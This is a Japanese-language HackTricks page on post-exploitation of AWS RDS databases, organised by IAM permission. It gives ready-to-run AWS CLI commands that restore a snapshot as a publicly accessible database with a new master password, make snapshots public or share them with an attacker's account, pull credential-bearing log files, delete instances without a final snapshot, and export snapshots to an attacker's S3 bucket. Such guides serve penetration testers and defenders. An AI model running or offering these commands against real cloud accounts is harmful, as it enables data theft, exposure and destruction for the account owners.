AWS - RDS Post Exploitation

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

RDS

詳細については、以下をチェックしてください:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

攻撃者が十分な権限を持っている場合、DBのスナップショットを作成し、その後スナップショットからパブリックアクセス可能なDBを作成することで、DBを公開可能にすることができます。

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

これらの権限を持つ攻撃者は、DBのスナップショットを作成してそれを公開にすることができます。その後、そのスナップショットから自分のアカウントでDBを作成することができます。

攻撃者が**rds:CreateDBSnapshotを持っていない場合でも、他の作成されたスナップショットを公開**にすることができます。

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 権限を持つ攻撃者は、RDS インスタンスのログファイルの一部をダウンロードすることができます。機密データやアクセス資格情報が誤って記録されている場合、攻撃者はこれらの情報を使用して特権を昇格させたり、不正な操作を行ったりする可能性があります。

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

潜在的影響: 流出した資格情報を使用して機密情報にアクセスしたり、不正な操作を行う可能性があります。

rds:DeleteDBInstance

これらの権限を持つ攻撃者は、既存のRDSインスタンスをDoS攻撃することができます。

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

潜在的影響: 既存のRDSインスタンスの削除、およびデータの潜在的な損失。

rds:StartExportTask

TODO: テスト

この権限を持つ攻撃者は、RDSインスタンスのスナップショットをS3バケットにエクスポートできます。攻撃者が宛先S3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスする可能性があります。

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

潜在的影響: エクスポートされたスナップショット内の機密データへのアクセス。

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

最終更新